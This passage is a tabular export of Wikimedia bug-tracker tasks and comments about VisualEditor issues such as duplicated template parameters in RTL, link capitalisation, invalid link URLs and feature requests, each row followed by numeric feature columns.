2. Edit the infobox at the left side. 
3. Behold! Some parameters appear both at the left panel (used) and also on the right panel (unused). Specific example, look for the parameters ""בן זוג"" and ""בת זוג"" 
4. If you click the parameter ""בת זוג"" for example, on the left side (the used one) you will see data. If you click the one on the right side, it appears with empty textbox as if it's new.
5. Click on the right side (as if to add param again) on ""בת זוג"" 
6. Click again and again -- the parameter will keep being added to the list on the left in duplicates.

And if the page is saved, the parameter is now completely removed.


This has happened specifically in the hewiki but might be related to more than just RTL.

--------------------------
**Version**: unspecified
**Severity**: normal"
247448,VisualEditor: Parameters in RTL can be duplicated in the transclusion dialog,"This works for me on hewiki and local on rtl settings. If anyone discovers this anew, please reopen.",,,1380749912,,PHID-USER-zq6nzfwxwkyliljd4lfy,False,,,PHID-TASK-cbkpykct3waf2q7jincj,task_subcomment,,True,c1,3,False,,,13,,0.0,5.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,19.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,10.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,5.0,5.0,10.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,5.0,19.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,3.9523809523809526,0.9047619047619048,"This works for me on hewiki and local on rtl settings. If anyone discovers this anew, please reopen."
247445,VisualEditor: Parameters in RTL can be duplicated in the transclusion dialog,This seems to be fixed now.,,,1379704380,,PHID-USER-zq6nzfwxwkyliljd4lfy,False,,,PHID-TASK-cbkpykct3waf2q7jincj,task_subcomment,,True,c1,3,False,,,11,,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.142857142857143,1.0,This seems to be fixed now.
55495,VisualEditor: Link insertion dialog should preserve the case of the initial character,"Currently whenever a user enters a link when no text is selected the first character of the displayed link is always capitalised. This is often incorrect, e.g. in the middle of a sentence or for articles like [[iPhone]] or [[grep]].

Especially until bug 50678 is fixed, correcting this is not at easy or intuitive.

So, at least until bug 48789 and bug 50945 are fixed and the display text is settable in the dialog, and probably beyond that, it would be best if the displayed link used the same case as the search term entered. i.e.

User entry ->  wikitext equivalent of desired output
Green   ->  [[Green]]
green   ->  [[green]]
iPad    ->  [[iPad]]
HAMmer  ->  [[Hammer]]
london  ->  [[london]]

Yes, this will result in some wrong captialisations, but no more than at present and will only be temporary (as noted above)

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=50678
https://bugzilla.wikimedia.org/show_bug.cgi?id=50745",Needs Triage,90.0,1377720300,1377802569.0,PHID-USER-ysftv67jxeaxdwcakvwo,False,,False,PHID-TASK-hvan6ykhuzyhtye5e56x,task_description,resolved,True,c1,3,False,False,True,8,,0.3333333333333333,0.0,0.0,1.3333333333333333,0.3333333333333333,5.666666666666667,1.3333333333333333,0.0,0.0,0.3333333333333333,2.6666666666666665,0.0,0.0,0.3333333333333333,0.0,0.0,0.3333333333333333,4.333333333333333,6.666666666666667,0.0,0.0,0.0,0.0,0.0,0.6666666666666666,0.0,0.0,0.3333333333333333,0.0,1.3333333333333333,0.0,2.6666666666666665,1.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,0.6666666666666666,0.0,0.0,1.3333333333333333,0.0,1.0,0.0,0.0,0.0,9.333333333333334,1.3333333333333333,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,0.6666666666666666,0.0,0.0,0.3333333333333333,0.0,0.0,3.6666666666666665,3.0,6.0,1.0,3.0,6.333333333333333,0.0,0.0,0.0,0.0,1.6666666666666667,0.3333333333333333,1.0,0.0,0.3333333333333333,6.666666666666667,2.6666666666666665,0.0,0.0,0.0,0.3333333333333333,0.0,0.6666666666666666,1.0,0.0,0.3333333333333333,0.3333333333333333,0.6666666666666666,11.0,3.3047468354430385,0.6090189873417722,"Currently whenever a user enters a link when no text is selected the first character of the displayed link is always capitalised. This is often incorrect, e.g. in the middle of a sentence or for articles like [[iPhone]] or [[grep]].

Especially until bug 50678 is fixed, correcting this is not at easy or intuitive.

So, at least until bug 48789 and bug 50945 are fixed and the display text is settable in the dialog, and probably beyond that, it would be best if the displayed link used the same case as the search term entered. i.e.

User entry ->  wikitext equivalent of desired output
Green   ->  [[Green]]
green   ->  [[green]]
iPad    ->  [[iPad]]
HAMmer  ->  [[Hammer]]
london  ->  [[london]]

Yes, this will result in some wrong captialisations, but no more than at present and will only be temporary (as noted above)

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
URL
URL"
246245,VisualEditor: Link insertion dialog should preserve the case of the initial character,"

*** This bug has been marked as a duplicate of bug 50452 ***",,,1377802569,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-hvan6ykhuzyhtye5e56x,task_subcomment,,True,c1,3,False,,,8,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7777777777777777,0.6666666666666666,"

*** This bug has been marked as a duplicate of bug 50452 ***"
55491,Right-click on newly linked page in VisualEditor opens invalid URL in new tab,"This is somewhat related to bug 50321.

Steps to reproduce:

1. Open your own sandbox/userpage (not a page in the mainspace) in VisualEditor.
2. Add a link to a word (""xxx"").
3. Control-click/right-click/command-click the new link to open the link in a new tab or new window.
4. Discover that VisualEditor has sent you to an invalid URL:  http://en.wikipedia.org/w/Xxx or http://en.wikipedia.org/wiki/User:Whatamidoing_(WMF)/Xxx

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1377715320,1377718799.0,PHID-USER-uf3buojo4ceizjywvyn5,True,,False,PHID-TASK-lz4m6zadc7gusnegkxep,task_description,resolved,True,c1,3,False,False,True,8,,0.0,0.0,0.0,0.0,0.5,6.5,0.5,0.0,0.0,0.0,2.0,0.0,0.0,0.5,0.0,0.0,0.0,1.0,6.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,1.0,0.0,0.5,1.5,0.0,0.0,0.0,1.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,1.0,15.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.5,0.5,9.0,1.0,2.0,6.0,0.0,0.0,0.0,0.0,4.0,0.0,0.5,0.0,1.5,6.0,2.0,0.0,1.0,0.0,1.5,0.0,0.0,3.5,0.0,0.0,0.0,0.0,4.0,3.2412280701754383,0.6633771929824561,"This is somewhat related to bug 50321.

Steps to reproduce:

1. Open your own sandbox/userpage (not a page in the mainspace) in VisualEditor.
2. Add a link to a word (""xxx"").
3. Control-click/right-click/command-click the new link to open the link in a new tab or new window.
4. Discover that VisualEditor has sent you to an invalid URL:  URL or URL

--------------------------
**Version**: unspecified
**Severity**: normal"
246011,Right-click on newly linked page in VisualEditor opens invalid URL in new tab,"This is bug 48915 although the bug title ""VisualEditor: Respect Parsoid's <base>"" describes the solution not the effect so I'm not surprised you didn't find it.

*** This bug has been marked as a duplicate of bug 48915 ***",,,1377718799,,PHID-USER-ysftv67jxeaxdwcakvwo,True,,,PHID-TASK-lz4m6zadc7gusnegkxep,task_subcomment,,True,c1,3,False,,,8,,0.0,0.0,0.0,2.0,6.0,2.0,0.0,0.0,2.0,0.0,2.0,4.0,0.0,0.0,0.0,2.0,0.0,8.0,6.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,15.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,8.0,4.0,11.0,2.0,0.0,11.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,0.0,6.0,6.0,6.0,0.0,4.0,0.0,6.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,3.490566037735849,0.7358490566037735,"This is bug 48915 although the bug title ""VisualEditor: Respect Parsoid's <base>"" describes the solution not the effect so I'm not surprised you didn't find it.

*** This bug has been marked as a duplicate of bug 48915 ***"
55467,Move VisualEditor Selenium test to VisualEditor repository,"Requested by James Forrester at QA mailing list:

http://lists.wikimedia.org/pipermail/qa/2013-August/000339.html

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1377688440,1377696492.0,PHID-USER-fz7hkyvt4jypl76ieyol,False,,False,PHID-TASK-5xzxzrfm4dqssl7w5dix,task_description,resolved,True,c1,3,True,False,True,8,,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.068965517241379,0.6206896551724138,"Requested by James Forrester at QA mailing list:

URL

--------------------------
**Version**: unspecified
**Severity**: normal"
243956,Move VisualEditor Selenium test to VisualEditor repository,"Change 81486 merged by jenkins-bot:
Moved VisualEditor Selenium tests from browsertests repository

https://gerrit.wikimedia.org/r/81486",,,1377721181,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-5xzxzrfm4dqssl7w5dix,task_subcomment,,True,c1,3,False,,,8,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,28.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.555555555555555,1.0,"Change 81486 merged by jenkins-bot:
Moved VisualEditor Selenium tests from browsertests repository

GERRIT_URL"
243950,Move VisualEditor Selenium test to VisualEditor repository,"Change 81490 merged by Cmcmahon:
Added support for running VisualEditor tests to Jenkins job template

https://gerrit.wikimedia.org/r/81490",,,1377720850,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-5xzxzrfm4dqssl7w5dix,task_subcomment,,True,c1,3,False,,,8,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,32.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,16.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.2631578947368425,1.0,"Change 81490 merged by Cmcmahon:
Added support for running VisualEditor tests to Jenkins job template

GERRIT_URL"
243946,Move VisualEditor Selenium test to VisualEditor repository,"Change 81490 had a related patch set uploaded by Zfilipin:
Added support for running VisualEditor to Jenkins job template

https://gerrit.wikimedia.org/r/81490",,,1377696235,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-5xzxzrfm4dqssl7w5dix,task_subcomment,,True,c1,3,False,,,8,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,26.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,13.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,5.043478260869565,1.0,"Change 81490 had a related patch set uploaded by Zfilipin:
Added support for running VisualEditor to Jenkins job template

GERRIT_URL"
243942,Move VisualEditor Selenium test to VisualEditor repository,Resolved in https://gerrit.wikimedia.org/r/#/c/81486/,,,1377695195,,PHID-USER-fz7hkyvt4jypl76ieyol,False,,,PHID-TASK-5xzxzrfm4dqssl7w5dix,task_subcomment,,True,c1,3,True,,,8,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.333333333333333,1.0,Resolved in URL
243937,Move VisualEditor Selenium test to VisualEditor repository,"Change 81486 had a related patch set uploaded by Zfilipin:
Moved VisualEditor Selenium tests from browsertests repository

https://gerrit.wikimedia.org/r/81486",,,1377694989,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-5xzxzrfm4dqssl7w5dix,task_subcomment,,True,c1,3,False,,,8,,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,29.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,10.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.619047619047619,1.0,"Change 81486 had a related patch set uploaded by Zfilipin:
Moved VisualEditor Selenium tests from browsertests repository

GERRIT_URL"
55450,Show edit summary after clicking save,"**Author:** `molly.white5`

**Description:**
Only show the edit summary input box after the user clicks ""save"" (sort of like in the VisualEditor).

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1377659100,1382039786.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-q6pz6kygm2rnc3zs7geb,task_description,declined,True,c1,3,False,False,False,8,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,13.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,6.0,7.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5185185185185186,0.6111111111111112,"**Author:** CODE

**Description:**
Only show the edit summary input box after the user clicks ""save"" (sort of like in the VisualEditor).

--------------------------
**Version**: unspecified
**Severity**: normal"
243066,Show edit summary after clicking save,"**molly.white5** wrote:

See above comment.",,,1382039786,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-q6pz6kygm2rnc3zs7geb,task_subcomment,,True,c1,3,False,,,15,,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3333333333333335,0.75,"**molly.white5** wrote:

See above comment."
243059,Show edit summary after clicking save,"**mr.heat** wrote:

(In reply to comment #0)
> Only show the edit summary input box after the user clicks ""save""

But clicking ""save"" leaves the editor and reloads the page. If the edit summary is hidden and only shown after you clicked ""save"" you will see it only for a fraction of a second and not be able to enter anything.

I guess you are suggesting to block the first click on the ""save"" button. First click shows the edit summary. Second click saves. I don't think this is useful for two main reasons:

1. I want to be able to type something in the summary field while I'm still editing. Hiding the field removes this feature. I can't use it when I want. It forces me to remember everything I did and recap it in the end. This will lead to more empty and less descriptive summary lines.

2. If I click a button labeled ""save"" I expect it to save and not to do something completely different. If you want to have this as an opt-in feature you can use the existing ""Prompt me when entering a blank edit summary"" setting or check my script [[de:User talk:TMg/forceEditSummary.js]]. Both do not hide the edit summary but block the ""save"" button one time if you forgot to enter a summary. The setting is server-side, my script is client-side and therefor a lot faster.

I suggest to close this as ""works as expected"".",,,1382020847,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-q6pz6kygm2rnc3zs7geb,task_subcomment,,True,c1,3,False,,,15,,0.0,1.3333333333333333,0.3333333333333333,0.3333333333333333,1.6666666666666667,4.666666666666667,1.0,0.0,0.0,1.3333333333333333,2.3333333333333335,1.0,0.0,0.6666666666666666,0.0,4.666666666666667,0.3333333333333333,4.666666666666667,10.0,1.3333333333333333,3.6666666666666665,0.0,0.3333333333333333,0.0,0.6666666666666666,0.3333333333333333,0.0,0.0,0.3333333333333333,0.6666666666666666,0.0,7.0,3.6666666666666665,1.6666666666666667,1.6666666666666667,2.0,0.0,0.0,0.3333333333333333,0.6666666666666666,0.0,0.0,0.0,0.3333333333333333,0.0,1.0,0.0,0.0,0.0,15.666666666666666,0.6666666666666666,1.0,0.0,0.6666666666666666,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.6666666666666666,1.3333333333333333,0.0,1.3333333333333333,0.0,0.0,0.0,6.666666666666667,2.3333333333333335,8.666666666666666,2.3333333333333335,3.3333333333333335,8.666666666666666,0.0,0.0,0.0,0.3333333333333333,8.0,0.0,1.0,0.0,8.333333333333334,10.0,0.3333333333333333,0.0,4.666666666666667,0.0,8.333333333333334,0.0,0.6666666666666666,2.3333333333333335,0.6666666666666666,2.0,1.0,0.0,2.0,3.4848484848484844,0.6666666666666666,"**mr.heat** wrote:

(In reply to comment #0)
QUOTE

But clicking ""save"" leaves the editor and reloads the page. If the edit summary is hidden and only shown after you clicked ""save"" you will see it only for a fraction of a second and not be able to enter anything.

I guess you are suggesting to block the first click on the ""save"" button. First click shows the edit summary. Second click saves. I don't think this is useful for two main reasons:

1. I want to be able to type something in the summary field while I'm still editing. Hiding the field removes this feature. I can't use it when I want. It forces me to remember everything I did and recap it in the end. This will lead to more empty and less descriptive summary lines.

2. If I click a button labeled ""save"" I expect it to save and not to do something completely different. If you want to have this as an opt-in feature you can use the existing ""Prompt me when entering a blank edit summary"" setting or check my script [[de:User talk:TMg/forceEditSummary.js]]. Both do not hide the edit summary but block the ""save"" button one time if you forgot to enter a summary. The setting is server-side, my script is client-side and therefor a lot faster.

I suggest to close this as ""works as expected""."
55409,VisualEditor: Media should be easily replaceable,"At the moment there doesn't appear to be a way to replace media - that is, to click on a media element, and select a different piece of media for that element. That's not a big deal at the moment, but we're going to move to a world where media settings are more complex - where alignment can be specified, referencing can be specified and permitted, so on and so forth.

The result of this is that media elements will have a lot of data associated with them - media it's pretty hard to type out again if you find that the image (or video, or...whatever) needs to be replaced. It would be good to have a way of replacing images without losing the associated caption, size and alignment.

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1377621000,1377621974.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-dhmvhapysnb7mmzkzrmc,task_description,resolved,True,c1,3,False,False,True,8,,0.0,0.0,0.0,1.5,1.0,4.0,2.0,0.0,0.0,0.5,0.0,1.0,0.0,0.0,0.5,0.5,0.5,6.0,12.5,0.0,4.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,1.0,1.0,0.0,5.0,0.5,1.0,0.0,0.5,0.5,0.0,0.0,0.5,0.0,0.5,0.5,5.5,0.0,0.5,0.0,0.0,0.5,11.0,1.5,1.0,0.5,1.0,0.0,0.5,0.0,0.0,1.0,0.0,0.0,0.5,0.0,0.0,0.5,0.0,0.0,6.5,4.5,3.5,3.0,4.0,8.5,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,3.0,12.5,0.0,0.0,0.0,0.0,3.0,0.0,1.5,3.5,0.5,1.5,0.5,0.0,0.0,3.7729489386115893,0.6828743545611016,"At the moment there doesn't appear to be a way to replace media - that is, to click on a media element, and select a different piece of media for that element. That's not a big deal at the moment, but we're going to move to a world where media settings are more complex - where alignment can be specified, referencing can be specified and permitted, so on and so forth.

The result of this is that media elements will have a lot of data associated with them - media it's pretty hard to type out again if you find that the image (or video, or...whatever) needs to be replaced. It would be good to have a way of replacing images without losing the associated caption, size and alignment.

--------------------------
**Version**: unspecified
**Severity**: normal"
241003,VisualEditor: Media should be easily replaceable,"I *knew* it's gotta be a dupe. ;)

*** This bug has been marked as a duplicate of bug 51033 ***",,,1377621974,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-dhmvhapysnb7mmzkzrmc,task_subcomment,,True,c1,3,True,,,8,,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,10.0,0.0,3.0,0.0,0.0,3.0,0.0,3.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.4516129032258065,0.7096774193548387,"I *knew* it's gotta be a dupe. ;)

*** This bug has been marked as a duplicate of bug 51033 ***"
55326,Search and replace feature needed,"We need a search-and-replace feature in VisualEditor. This seacrh box should also support ULS

--------------------------
**Version**: unspecified
**Severity**: enhancement",Needs Triage,90.0,1377447840,1377460908.0,PHID-USER-qpuuryo2o37amdlkb5gk,False,,False,PHID-TASK-5k5rt6qbkoyx3ta4vs6h,task_description,resolved,True,c1,3,False,False,True,7,,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,16.0,0.0,3.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,8.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,4.243243243243243,0.7297297297297297,"We need a search-and-replace feature in VisualEditor. This seacrh box should also support ULS

--------------------------
**Version**: unspecified
**Severity**: enhancement"
236544,Search and replace feature needed,"Hi Pavanaja. Thanks for taking the time to report this!
This particular problem has already been reported into our bug tracking system, but please feel free to report any further issues you find.

*** This bug has been marked as a duplicate of bug 48368 ***",,,1377460908,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-5k5rt6qbkoyx3ta4vs6h,task_subcomment,,True,c1,3,True,,,7,,2.0,0.0,0.0,4.0,0.0,5.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,11.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,4.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,4.0,4.0,9.0,0.0,2.0,11.0,0.0,0.0,2.0,0.0,5.0,2.0,2.0,0.0,4.0,11.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,3.8214285714285716,0.7678571428571429,"Hi Pavanaja. Thanks for taking the time to report this!
This particular problem has already been reported into our bug tracking system, but please feel free to report any further issues you find.

*** This bug has been marked as a duplicate of bug 48368 ***"
55325,Inserting and editing tables,"There should be a facility in VisualEditor for creating new table or edit an existing table

--------------------------
**Version**: unspecified
**Severity**: enhancement",Needs Triage,90.0,1377447540,1377528014.0,PHID-USER-qpuuryo2o37amdlkb5gk,False,,False,PHID-TASK-lfg46f7cy7mmetnq3hpg,task_description,resolved,True,c1,3,False,False,True,7,,0.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,6.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,12.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,4.5,0.7058823529411765,"There should be a facility in VisualEditor for creating new table or edit an existing table

--------------------------
**Version**: unspecified
